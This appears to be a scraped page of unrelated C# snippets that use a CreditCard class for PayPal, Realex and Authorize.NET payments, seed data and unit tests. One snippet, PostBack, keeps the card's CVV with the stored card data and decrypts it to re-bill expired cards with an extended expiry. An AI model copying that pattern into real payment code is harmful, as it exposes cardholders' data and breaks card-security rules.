                {
                }
                if (flag2)
                {
                    File.Delete(text4);
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
Beispiel #39
0
        // POST: api/Payment
        public PaymentResponse Post(PaymentDetails paymentDetails)
        {
            var creditCard = new CreditCard
            {
                cvv2         = paymentDetails.Cvv,
                expire_month = int.Parse(paymentDetails.ExpirationMonth),
                expire_year  = int.Parse(paymentDetails.ExpirationYear),
                number       = paymentDetails.CardNumber,
                type         = "visa"
            };

            var details = new Details
            {
                shipping = "0",
                subtotal = paymentDetails.Amount,
                tax      = "0",
            };

            var amount = new Amount
            {
                currency = "USD",
                total    = paymentDetails.Amount,
                details  = details,
            };

            var transaction = new Transaction
            {
                amount         = amount,
                invoice_number = Common.GetRandomInvoiceNumber()
            };

            var transactions = new List <Transaction> {
                transaction
            };

            var fundingInstrument = new FundingInstrument {
                credit_card = creditCard
            };

            var fundingInstruments = new List <FundingInstrument> {
                fundingInstrument
            };

            var payer = new Payer
            {
                funding_instruments = fundingInstruments,
                payment_method      = "credit_card"
            };

            var paymet = new Payment
            {
                intent       = "sale",
                payer        = payer,
                transactions = transactions
            };

            try
            {
                var apiContext    = Models.Configuration.GetApiContext();
                var createPayment = paymet.Create(apiContext);

                if (createPayment.state.ToLower() != "approved")
                {
                    return(new PaymentResponse
                    {
                        TransactionSuccessful = false,
                        Message = null
                    });
                }
            }
            catch (PayPal.PayPalException ex)
            {
                return(new PaymentResponse
                {
                    TransactionSuccessful = false,
                    Message = ex.InnerException?.Message
                });
            }
            return(new PaymentResponse
            {
                TransactionSuccessful = true,
                Message = null
            });
        }
Beispiel #40
0
 public void Create_CardNumberIsEmpty_ThrowsException()
 {
     CreditCard.Create(new Customer(), "MR J SMITH", string.Empty, DateTime.Today.AddDays(1));
 }
Beispiel #41
0
 public MaskedCreditCard Mask(CreditCard creditCard)
 {
     var lastFourDigitsOfCreditCard = creditCard.Number.Length == 16
         ? creditCard.Number[12..16]
Beispiel #42
0
 public static decimal WithBalance(this CreditCard creditCard, decimal balance)
 {
     creditCard.Balance = balance;
     return(creditCard.Balance);
 }
Beispiel #43
0
 // POST api/awbuildversion
 public void Post(CreditCard value)
 {
     adventureWorks_BC.CreditCardAdd(value);
 }
Beispiel #44
0
        private static void Seed(PaymentSystemDBContex db)
        {
            var user = new User()
            {
                FirstName = "Guy",
                LastName  = "Gilbert",
                Email     = "*****@*****.**",
                Password  = "******"
            };

            var creditCard = new CreditCard()
            {
                Limit          = 800.00M,
                MoneyOwed      = 100.00M,
                ExpirationDate = DateTime.ParseExact("20.03.2020", "dd.MM.yyyy", null)
            };

            var bankAccounts = new BankAccount[]
            {
                new BankAccount()
                {
                    Balance   = 2000M,
                    BankName  = "Unicredit Bulbank",
                    SwiftCode = "UNCRBGSF"
                },

                new BankAccount()
                {
                    Balance   = 1000M,
                    BankName  = "First Investment Bank",
                    SwiftCode = "FINVBGSF"
                }
            };

            var paymentMethods = new PaymentMethod[]
            {
                new PaymentMethod()
                {
                    User       = user,
                    CreditCard = creditCard,
                    Type       = PaymentMethodType.CreditCard
                },

                new PaymentMethod()
                {
                    User        = user,
                    BankAccount = bankAccounts[0],
                    Type        = PaymentMethodType.BankAccount
                },

                new PaymentMethod()
                {
                    User        = user,
                    BankAccount = bankAccounts[1],
                    Type        = PaymentMethodType.BankAccount
                }
            };

            db.Users.Add(user);
            db.CreditCards.Add(creditCard);
            db.BankAccounts.AddRange(bankAccounts);
            db.PaymentMethods.AddRange(paymentMethods);

            db.SaveChanges();
        }
 public IResult Add(CreditCard entity)
 {
     _creditCardDal.Add(entity);
     return(new SuccessResult("Ödeme başarılı"));
 }
 public AmerikanExpressCartBuilder()
 {
     card = new CreditCard();
 }
Beispiel #47
0
 /// <summary>
 ///     Constructor.
 /// </summary>
 /// <param name="userInfo">User Info object populated with user credentials.</param>
 /// <param name="creditCard">Credit card information for the user.</param>
 /// <param name="currency">Currency value</param>
 /// <param name="requestId">Request Id</param>
 /// <remarks>
 ///     After a successful Verify Enrollment Transaction,
 ///     you should redirect the user's browser to his/her browser to the
 ///     secure authentication server which will authinticate the user.
 ///     While redirecting to this secure authentication server,
 ///     you must pass the parameter PaReq obtained in the response of this transaction.
 /// </remarks>
 /// <example>
 ///     This example shows how to create and perform a Verify Eknrollment transaction.
 ///     <code lang="C#" escaped="false">
 ///         ..........
 ///         ..........
 ///         //Populate required data objects.
 ///
 ///         //Create the Card object.
 ///         CreditCard Card = new CreditCard("XXXXXXXXXXXXXXXX","XXXX");
 ///
 ///         //Create the currency object.
 ///         Currency Amt = new Currency(new decimal(1.00),"US");
 ///         ..........
 ///         ..........
 ///
 ///         //Create a new Verify Enrollment Transaction.
 ///          BuyerAuthVETransaction Trans = new BuyerAuthVETransaction(
 ///                                                 UserInfo,
 ///                                                 PayflowConnectionData,
 ///                                                 Card,
 ///                                                 Amt,
 ///                                                 RequestId);
 ///         //Submit the transaction.
 ///         Trans.SubmitTransaction();
 ///
 ///         // Get the Response.
 ///         Response Resp = Trans.Response;
 ///         if (Resp != null)
 ///         {
 ///             // Get the Transaction Response parameters.
 ///             TransactionResponse TrxnResponse =  Resp.TransactionResponse;
 ///             if (TrxnResponse != null)
 ///             {
 ///                 Console.WriteLine("RESULT = " + TrxnResponse.Result);
 ///                 Console.WriteLine("RESPMSG = " + TrxnResponse.RespMsg);
 ///             }
 ///
 ///
 ///             // Get the Buyer auth Response parameters.
 ///             BuyerAuthResponse BAResponse = Resp.BuyerAuthResponse;
 ///             if (BAResponse != null)
 ///             {
 ///                 Console.WriteLine("AUTHENTICATION_STATUS = " + BAResponse.Authentication_Status);
 ///                 Console.WriteLine("AUTHENTICATION_ID = " + BAResponse.Authentication_Id);
 ///                 Console.WriteLine("ACSURL = " + BAResponse.AcsUrl);
 ///                 Console.WriteLine("PAREQ = " + BAResponse.PaReq);
 ///             }
 ///         }
 ///         // Get the Context and check for any contained SDK specific errors.
 ///         Context Ctx = Resp.TransactionContext;
 ///         if (Ctx != null ++ Ctx.getErrorCount() > 0)
 ///         {
 ///             Console.WriteLine(Environment.NewLine + "Errors = " + Ctx.ToString());
 ///         }
 /// </code>
 ///     <code lang="Visual Basic" escaped="false">
 ///         ..........
 ///         ..........
 ///         'Populate required data objects.
 ///
 ///         //Create the Card object.
 ///         Dim Card As CreditCard = new CreditCard("XXXXXXXXXXXXXXXX","XXXX")
 ///
 ///         //Create the currency object.
 ///         Dim Amt As Currency = new Currency(new decimal(1.00),"US")
 ///         ..........
 ///         ..........
 ///
 ///         'Create a new Verify Enrollment Transaction.
 ///         Dim Trans as New BuyerAuthVETransaction(
 ///                                                 UserInfo,
 ///                                                 PayflowConnectionData,
 ///                                                 Card,
 ///                                                 Amt,
 ///                                                 RequestId)
 ///         ' Submit the transaction.
 ///         Trans.SubmitTransaction()
 ///         ' Get the Response.
 ///         Dim Resp As Response = Trans.Response
 ///
 ///         If Not Resp Is Nothing Then
 ///         ' Get the Transaction Response parameters.
 ///
 ///             Dim TrxnResponse As TransactionResponse = Resp.TransactionResponse
 ///
 ///             If Not TrxnResponse Is Nothing Then
 ///                 Console.WriteLine("RESULT = " + TrxnResponse.Result)
 ///                 Console.WriteLine("RESPMSG = " + TrxnResponse.RespMsg)
 ///             End If
 ///             ' Get the Buyer auth Response parameters.
 ///             Dim BAResponse As BuyerAuthResponse = Resp.BuyerAuthResponse;
 ///             If Not BAResponse Is Nothing Then
 ///                 Console.WriteLine("AUTHENTICATION_STATUS = " + BAResponse.Authentication_Status)
 ///                 Console.WriteLine("AUTHENTICATION_ID = " + BAResponse.Authentication_Id)
 ///                 Console.WriteLine("ACSURL = " + BAResponse.AcsUrl)
 ///                 Console.WriteLine("PAREQ = " + BAResponse.PaReq)
 ///             End If
 ///         End If
 ///         ' Get the Context and check for any contained SDK specific errors.
 ///         Dim Ctx As Context = Resp.TransactionContext
 ///
 ///         If Not Ctx Is Nothing AndAlso Ctx.getErrorCount() > 0 Then
 ///             Console.WriteLine(Constants.vbLf + "Errors = " + Ctx.ToString())
 ///         End If
 ///  </code>
 /// </example>
 public BuyerAuthVeTransaction(UserInfo userInfo, CreditCard creditCard, Currency currency, string requestId)
     : this(userInfo, creditCard, null, currency, requestId)
 {
 }
Beispiel #48
0
 public void Create_CardNumberIsNull_ThrowsException()
 {
     CreditCard.Create(new Customer(), "MR J SMITH", null, DateTime.Today.AddDays(1));
 }
Beispiel #49
0
        public static void SeedDb(BillsPaymentSystemContext db)
        {
            var firstAcc = new BankAccount
            {
                BankName  = "First Investment Bank",
                SwiftCode = "FINVBGSF",
            };

            firstAcc.Deposit(1000);

            var secondAcc = new BankAccount
            {
                BankName  = "Unicredit Bulbank",
                SwiftCode = "UNCRBGSF"
            };

            secondAcc.Deposit(1000);

            var firstCreditCard = new CreditCard
            {
                Limit          = 1000,
                ExpirationDate = new DateTime(2020, 01, 01)
            };

            firstCreditCard.Withdraw(200);

            var secondCreditCard = new CreditCard
            {
                Limit          = 2000,
                ExpirationDate = new DateTime(2020, 01, 01)
            };

            secondCreditCard.Withdraw(500);

            var firstUser = new User
            {
                FirstName = "Mickey",
                LastName  = "Mouse",
                Email     = "*****@*****.**",
                Password  = "******"
            };

            var secondUser = new User
            {
                FirstName = "Donald",
                LastName  = "Duck",
                Email     = "*****@*****.**",
                Password  = "******"
            };

            var firstPayment = new PaymentMethod
            {
                BankAccount = firstAcc,
                User        = firstUser,
                Type        = PaymentType.BankAccount
            };

            var secondPayment = new PaymentMethod
            {
                BankAccount = secondAcc,
                User        = firstUser,
                Type        = PaymentType.BankAccount
            };

            var thirdPayment = new PaymentMethod
            {
                CreditCard = firstCreditCard,
                User       = firstUser,
                Type       = PaymentType.CreditCard
            };

            var fourthPayment = new PaymentMethod
            {
                CreditCard = secondCreditCard,
                User       = firstUser,
                Type       = PaymentType.CreditCard
            };

            db.Users.AddRange(firstUser, secondUser);
            db.CreditCards.AddRange(firstCreditCard, secondCreditCard);
            db.BankAccounts.AddRange(firstAcc, secondAcc);
            db.PaymentMethods.AddRange(firstPayment, secondPayment, thirdPayment, fourthPayment);
            db.SaveChanges();
        }
Beispiel #50
0
 public void Create_NameIsNull_ThrowsException()
 {
     CreditCard.Create(new Customer(), null, "293923910200292", DateTime.Today.AddDays(1));
 }
Beispiel #51
0
        private static void Seed(BillsPaymantSystemContext context)
        {
            if (context.Users.Any())
            {
                Console.WriteLine("Database already was created!");
                return;
            }

            var user = new User()
            {
                FirstName = "Kamen",
                LastName  = "Donev",
                Email     = "*****@*****.**",
                Password  = "******",
            };

            var creditCard = new CreditCard[]
            {
                new CreditCard()
                {
                    ExpirationDate = DateTime.ParseExact("20.01.2022", "dd.MM.yyyy", CultureInfo.InvariantCulture),
                    //Limit = 1000M,
                    //MoneyOwed = 100M,
                },



                new CreditCard()
                {
                    ExpirationDate = DateTime.ParseExact("23.10.2022", "dd.MM.yyyy", CultureInfo.InvariantCulture),
                    //Limit = 2000M,
                    //MoneyOwed = 200M,
                },

                new CreditCard()
                {
                    ExpirationDate = DateTime.ParseExact("01.01.2018", "dd.MM.yyyy", CultureInfo.InvariantCulture),
                    //Limit = 30000M,
                    //MoneyOwed = 300M,
                }
            };

            creditCard[0].Deposit(1000);
            creditCard[0].Withdraw(100);

            creditCard[1].Deposit(2000);
            creditCard[1].Withdraw(200);

            creditCard[2].Deposit(3000);
            creditCard[2].Withdraw(300);

            var bankAccount = new BankAccount()
            {
                BankName  = "KaT_Ebe",
                SWIFTCode = "SusMa",
            };

            bankAccount.Deposit(3000);

            var paymantMethods = new PaymentMethod[]
            {
                new PaymentMethod()
                {
                    User       = user,
                    CreditCard = creditCard[0],
                    Type       = PaymentMethodType.CreditCard
                },

                new PaymentMethod()
                {
                    User       = user,
                    CreditCard = creditCard[1],
                    Type       = PaymentMethodType.CreditCard
                },

                new PaymentMethod()
                {
                    User       = user,
                    CreditCard = creditCard[2],
                    Type       = PaymentMethodType.CreditCard
                },

                new PaymentMethod()
                {
                    User        = user,
                    BankAccount = bankAccount,
                    Type        = PaymentMethodType.BankAccount
                }
            };

            context.Users.Add(user);
            context.CreditCards.AddRange(creditCard);
            context.BankAccounts.Add(bankAccount);
            context.PaymentMethods.AddRange(paymantMethods);

            context.SaveChanges();
        }
Beispiel #52
0
 public void Create_CustomerIsNull_ThrowsException()
 {
     CreditCard.Create(null, "MR J SMITH", "293923910200292", DateTime.Today.AddDays(1));
 }
        //string optin,string fax,string altcity,
        private object[] ChargeCard(string memberid, string salutation, string firstname, string middleinitial, string lastname, string suffix,
                                    string professionaltitle, string email, string businessname, string address1, string address2, string address3,
                                    string city, string state, string postalcode, string country,
                                    string phone,
                                    string ccnumber, string expmonth, string expyear, string amount,
                                    string ccname, string ccaddr, string cccity,
                                    string ccstate, string cczip, string cccountry, string pubcode, string username, string password, string refreshcustomer)
        {
            int    response_code = 0;
            string routing_id    = string.Empty;
            string auth_code     = string.Empty;

            #region convert string input to correct types
            bool  b_optin           = false;
            short s_expmonth        = 0;
            short s_expyear         = 0;
            float f_amount          = 0.0f;
            bool  b_refreshcustomer = false;

            /*if (!bool.TryParse(optin, out b_optin))
             * {
             *  response_code = 301;
             * }*/
            if (!short.TryParse(expmonth, out s_expmonth))
            {
                response_code = 302;
            }
            if (!short.TryParse(expyear, out s_expyear))
            {
                response_code = 303;
            }
            if (!float.TryParse(amount, out f_amount))
            {
                response_code = 304;
            }
            if (!bool.TryParse(refreshcustomer, out b_refreshcustomer))
            {
                response_code = 305;
            }
            #endregion

            if (response_code == 0)
            {
                #region validate input
                Member memberData = new Member();
                memberData.MemberId          = memberid;
                memberData.Salutation        = salutation;
                memberData.FirstName         = firstname;
                memberData.MiddleInitial     = middleinitial;
                memberData.LastName          = lastname;
                memberData.Suffix            = suffix;
                memberData.ProfessionalTitle = professionaltitle;
                //memberData.OptIn = b_optin;
                memberData.Email = email;

                memberData.Address = new Address();
                memberData.Address.BusinessName = businessname;
                memberData.Address.Address1     = address1;
                memberData.Address.Address2     = address2;
                memberData.Address.Address3     = address3;
                memberData.Address.City         = city;
                memberData.Address.State        = state;
                memberData.Address.PostalCode   = postalcode;
                memberData.Address.Country      = country;
                memberData.Address.Phone        = phone;
                //memberData.Address.Fax = fax;
                //memberData.Address.AltCity = altcity;

                CreditCard ccData = new CreditCard();
                ccData.CCNumber     = ccnumber;
                ccData.CCExpMonth   = s_expmonth;
                ccData.CCExpYear    = s_expyear;
                ccData.AmountPaid   = f_amount;
                ccData.CCName       = ccname;
                ccData.CCAddress    = ccaddr;
                ccData.CCCity       = cccity;
                ccData.CCState      = ccstate;
                ccData.CCPostalCode = cczip;
                ccData.CCCountry    = cccountry;
                #endregion

                CreditCardServiceRequest request     = new CreditCardServiceRequest(ccData, memberData, pubcode, username, password, b_refreshcustomer);
                BaseResponse             cc_response = CreditCardProcessing.GetResponse(request);

                if (cc_response == null || cc_response.TypedResponse == null || cc_response.TypedResponse.Success == false)
                {
                    string msgs = string.Empty;
                    foreach (Message s in cc_response.Messages)
                    {
                        msgs += "[" + s.ToString() + "]";
                    }
                    tbl_AppEventLog logmsg = new tbl_AppEventLog();
                    logmsg.aelAppName     = "HarperSERVICE";
                    logmsg.aelDateCreated = DateTime.Now;
                    logmsg.aelEvent       = "306";
                    logmsg.aelMessage1    = "cc_response messages:" + msgs;
                    logmsg.aelMessage2    = "typed response:" + cc_response.TypedResponse.ToString();
                    logmsg.aelMessage3    = "success:" + cc_response.TypedResponse.Success;
                    logmsg.Save();
                    response_code = 306;
                }
                else
                {
                    routing_id = ((CreditCardServiceResponse)cc_response.TypedResponse).VerifoneRoutingId;
                    auth_code  = ((CreditCardServiceResponse)cc_response.TypedResponse).AuthorizationCode;
                }
            }

            return(new object[] { response_code, routing_id, auth_code });
        }
Beispiel #54
0
 public void Create_ExpiredCreditCard_ThrowsException()
 {
     CreditCard actual = CreditCard.Create(new Customer(), "MR J SMITH",
                                           "293923910200292", DateTime.Today.AddDays(-1));
 }
Beispiel #55
0
        // Get interest per wallet for multiple users
        public void MultipleUsers_TotalInterestPerWallet()
        {
            CreditCard visaCard = new CreditCard()
            {
                cardName = "Visa Card", cardId = 1, balance = 100, cardType = CardType.Visa,
            };
            CreditCard mcCard = new CreditCard()
            {
                cardName = "MC Card", cardId = 2, balance = 100, cardType = CardType.MasterCard,
            };
            CreditCard discoverCard = new CreditCard()
            {
                cardName = "Discover Card", cardId = 3, balance = 100, cardType = CardType.Discover,
            };

            Wallet myWallet = new Wallet()
            {
                cards = new List <CreditCard>()
                {
                    mcCard, discoverCard
                }, walletName = "John's Wallet", walletId = 4
            };
            Wallet secondWallet = new Wallet()
            {
                cards = new List <CreditCard>()
                {
                    visaCard
                }, walletName = "Tom's Wallet", walletId = 3
            };

            Client myClient = new Client()
            {
                clientId = 1, clientName = "John", clientWallets = new List <Wallet>()
                {
                    myWallet
                }
            };
            Client client2 = new Client()
            {
                clientId = 2, clientName = "Tom", clientWallets = new List <Wallet>()
                {
                    secondWallet
                }
            };

            ClientGroup clientGroup = new ClientGroup()
            {
                clientList = new List <Client>()
                {
                    myClient, client2
                }, groupName = "Client Group 1"
            };


            var expectedInterestByUser = new Dictionary <int, double>();

            expectedInterestByUser.Add(4, 6);
            expectedInterestByUser.Add(3, 10);
            var calculatedInterest = clientGroup.GetInterestPerWallet();

            var equal = TestDictEquality(expectedInterestByUser, calculatedInterest);

            Assert.IsTrue(equal);
        }
Beispiel #56
0
 public void Create_CardNumberIsLessThen6_ThrowsException()
 {
     CreditCard.Create(new Customer(), "MR J SMITH", "12345", DateTime.Today.AddDays(1));
 }
Beispiel #57
0
            private static void sampleAuthAndRebate()
            {
                try {
                    // four lines are all it takes to send in a transaction:
                    CreditCard         cReq    = new CreditCard("visa", "4242424242424242", "0609", "Andrew Harcourt", "123", CreditCard.CVN_PRESENT);
                    String             orderID = DateTime.Now.ToString("yyyyMMddHHmmss");
                    TransactionRequest tReq    = new TransactionRequest("realexsample", "secret", "secret", "secret");

                    // set up a few more transaction variables

                    tReq.TransVariableReference      = "Your variable reference here.";
                    tReq.TransCustomerNumber         = "Your customer number here.";
                    tReq.TransBillingAddressCode     = "Your billing address code here.";
                    tReq.TransBillingAddressCountry  = "ie";
                    tReq.TransShippingAddressCode    = "Your shipping address code here.";
                    tReq.TransShippingAddressCountry = "au";
                    tReq.TransComments.Add("Testing");
                    tReq.TransAutoSettle = 1;

                    tReq.TransAmount      = 3183;
                    tReq.TransAccountName = "internet";
                    tReq.TransOrderID     = orderID;
                    tReq.TransCurrency    = "EUR";
                    tReq.TransCard        = cReq;

                    tReq.TransType = "auth";
                    TransactionResponse tResp = tReq.SubmitTransaction();
                    tReq.ContinueTransaction(tResp);                            // load the results from that transaction straight back in to use again in the next one

                    // err.. here is where you decide that you didn't really want to process that transaction, and give the cash back.

                    tReq.TransType     = "rebate";
                    tReq.TransAmount   = 3183;
                    tReq.TransCurrency = "EUR";
                    tResp = tReq.SubmitTransaction();

                    Console.WriteLine("Got response:");
                    Console.WriteLine("result: " + tResp.ResultCode);
                    Console.WriteLine("authcode: " + tResp.ResultAuthCode);
                    Console.WriteLine("pasref: " + tResp.ResultPASRef);
                    Console.WriteLine("message: " + tResp.ResultMessage);

                    if (tResp.ResultCode == 0)                          // success

                    //TODO: Your code goes here.

                    {
                    }
                    else                                // failure
                    //Check the Realex Developer Documentation for transaction result codes.

                    //TODO: Your code goes here.

                    {
                    }
                } catch (DataValidationException e) {
                    // transaction not submitted

                    //TODO: Your exception-handling code goes here.
                    Console.WriteLine("Transaction not submitted: " + e.Message);
                } catch (TransactionFailedException e) {
                    // transaction failed

                    //TODO: Your exception-handling code goes here.
                    Console.WriteLine("Transaction failed: " + e.Message);
                } catch (Exception e) {
                    // something else bad happened

                    //TODO: Your exception-handling code goes here.
                    Console.WriteLine("Unhandled exception: " + e.Message);
                }
            }
        public ActionResult PaymentWithCreditCard()
        {
            //create and item for which you are taking payment
            //if you need to add more items in the list
            //Then you will need to create multiple item objects or use some loop to instantiate object
            Item item = new Item();

            item.name     = "Demo Item";
            item.currency = "USD";
            item.price    = "5";
            item.quantity = "1";
            item.sku      = "sku";

            //Now make a List of Item and add the above item to it
            //you can create as many items as you want and add to this list
            List <Item> itms = new List <Item>();

            itms.Add(item);
            ItemList itemList = new ItemList();

            itemList.items = itms;

            //Address for the payment
            Address billingAddress = new Address();

            billingAddress.city         = "NewYork";
            billingAddress.country_code = "US";
            billingAddress.line1        = "23rd street kew gardens";
            billingAddress.postal_code  = "43210";
            billingAddress.state        = "NY";


            //Now Create an object of credit card and add above details to it
            CreditCard crdtCard = new CreditCard();

            crdtCard.billing_address = billingAddress;
            crdtCard.cvv2            = "874";
            crdtCard.expire_month    = 1;
            crdtCard.expire_year     = 2020;
            crdtCard.first_name      = "Aman";
            crdtCard.last_name       = "Thakur";
            crdtCard.number          = "1234567890123456";
            crdtCard.type            = "discover";

            // Specify details of your payment amount.
            Details details = new Details();

            details.shipping = "1";
            details.subtotal = "5";
            details.tax      = "1";

            // Specify your total payment amount and assign the details object
            Amount amnt = new Amount();

            amnt.currency = "USD";
            // Total = shipping tax + subtotal.
            amnt.total   = "7";
            amnt.details = details;

            // Now make a trasaction object and assign the Amount object
            Transaction tran = new Transaction();

            tran.amount         = amnt;
            tran.description    = "Description about the payment amount.";
            tran.item_list      = itemList;
            tran.invoice_number = "your invoice number which you are generating";

            // Now, we have to make a list of trasaction and add the trasactions object
            // to this list. You can create one or more object as per your requirements

            List <Transaction> transactions = new List <Transaction>();

            transactions.Add(tran);

            // Now we need to specify the FundingInstrument of the Payer
            // for credit card payments, set the CreditCard which we made above

            FundingInstrument fundInstrument = new FundingInstrument();

            fundInstrument.credit_card = crdtCard;

            // The Payment creation API requires a list of FundingIntrument

            List <FundingInstrument> fundingInstrumentList = new List <FundingInstrument>();

            fundingInstrumentList.Add(fundInstrument);

            // Now create Payer object and assign the fundinginstrument list to the object
            Payer payr = new Payer();

            payr.funding_instruments = fundingInstrumentList;
            payr.payment_method      = "credit_card";

            // finally create the payment object and assign the payer object & transaction list to it
            Payment pymnt = new Payment();

            pymnt.intent       = "sale";
            pymnt.payer        = payr;
            pymnt.transactions = transactions;

            try
            {
                //getting context from the paypal, basically we are sending the clientID and clientSecret key in this function
                //to the get the context from the paypal API to make the payment for which we have created the object above.

                //Code for the configuration class is provided next

                // Basically, apiContext has a accesstoken which is sent by the paypal to authenticate the payment to facilitator account. An access token could be an alphanumeric string

                APIContext apiContext = Configuration.GetAPIContext();

                // Create is a Payment class function which actually sends the payment details to the paypal API for the payment. The function is passed with the ApiContext which we received above.

                Payment createdPayment = pymnt.Create(apiContext);

                //if the createdPayment.State is "approved" it means the payment was successfull else not

                if (createdPayment.state.ToLower() != "approved")
                {
                    return(View("FailureView"));
                }
            }
            catch (PayPal.PayPalException ex)
            {
                Logger.Log("Error: " + ex.Message);
                return(View("FailureView"));
            }

            return(View("SuccessView"));
        }
        public void PostBack()
        {
            // If the post back is about a recurring payment, it'll have a subscription ID field in the request
            if (string.IsNullOrEmpty(Request.Form["x_subscription_id"]))
            {
                return;
            }

            // We can't handle a request if there is no response code sent to us
            if (string.IsNullOrEmpty(Request.Form["x_response_code"]))
            {
                return;
            }

            // If the payment was successful, we don't really care to do anything
            if (string.CompareOrdinal(Request.Form["x_response_code"], "1") == 0)
            {
                return;
            }

            // For any other response code the payment has failed, we need to set the subscription of the user to suspended and send them an email
            // letting them know something is wrong
            string subscriptionId = Request.Form["x_subscription_id"];

            DatabaseContext db = _database;

            // Load the subscription and figure out which user it belongs to
            Subscription subscription = db.Subscriptions.Include(s => s.CreditCard).FirstOrDefault(s => s.AuthorizeNETSubscriptionId == subscriptionId);

            // Could we successfully load the subscription Authorize.NET is talking about?
            if (subscription == null)
            {
                // TODO: Log Error
                return;
            }

            User affectedUser = (from user in db.Users.Include(u => u.Subscription)
                                 where user.SubscriptionId.HasValue && user.Subscription.SubscriptionId == subscription.SubscriptionId
                                 select user).FirstOrDefault();

            // Could we locate a user with an active subscription?
            if (affectedUser == null)
            {
                // TODO: Log Error
                return;
            }

            bool successfulRenewal = false;

            // Mark the subscription as suspended
            subscription.IsSuspended = true;

            // Check to see whether the card is expired, if so, try to renew the subscription with a new year
            if (subscription.CreditCard.IsExpired())
            {
                // Decrypt to get the card information again
                bool successfulDecryption = true;
                try
                {
                    subscription.CreditCard.Decrypt();
                }
                catch (Exception)
                {
                    successfulDecryption = false;
                }

                if (successfulDecryption)
                {
                    // Bump up the expiry by 2 years
                    CreditCard newCard = new CreditCard()
                    {
                        AddressId           = subscription.CreditCard.AddressId,
                        BillingAddress      = subscription.CreditCard.BillingAddress,
                        CardholderFirstName = subscription.CreditCard.CardholderFirstName,
                        CardholderLastName  = subscription.CreditCard.CardholderLastName,
                        CVV             = subscription.CreditCard.CVV,
                        ExpirationMonth = subscription.CreditCard.ExpirationMonth,
                        ExpirationYear  = (short)(subscription.CreditCard.ExpirationYear + 2),
                        Number          = subscription.CreditCard.Number
                    };

                    ISubscriptionGateway gateway = MembersController.GetSubscriptionGateway();

                    ISubscriptionRequest subscriptionRequest  = MembersController.CreateAuthorizeDotNetSubscriptionRequest(newCard, subscription.SubscriptionType, affectedUser);
                    ISubscriptionRequest subscriptionResponse = null;

                    bool successfulTry = true;

                    try
                    {
                        subscriptionResponse = gateway.CreateSubscription(subscriptionRequest);
                    }
                    catch (InvalidOperationException)
                    {
                        // Payment failed again
                        successfulTry = false;
                    }

                    successfulRenewal = successfulTry;

                    if (successfulTry)
                    {
                        // Encrypt the credit card information of the user
                        newCard.Encrypt();

                        // Construct a subscription for the user
                        Subscription userSubscription = new Subscription()
                        {
                            ActivationDate             = DateTime.UtcNow,
                            AuthorizeNETSubscriptionId = subscriptionResponse.SubscriptionID,
                            CancellationDate           = null,
                            SubscriptionTypeId         = subscription.SubscriptionTypeId,
                            CreditCard = newCard
                        };

                        // Associate the new subscription with the user
                        affectedUser.AddSubscription(userSubscription);
                    }
                }
            }

            db.SaveChanges();

            if (!successfulRenewal)
            {
                // If we could not automatically renew the payment, then notify the user
                EmailResult email = new WebSite.Mailers.Account().PaymentSuspendedEmail(affectedUser);

                WebSite.Helpers.Email.SendEmail(email, new List <Models.User>()
                {
                    affectedUser
                });
            }

            return;
        }
 public IResult Delete(CreditCard entity)
 {
     _creditCardDal.Delete(entity);
     return(new SuccessResult("Kartınız silindi."));
 }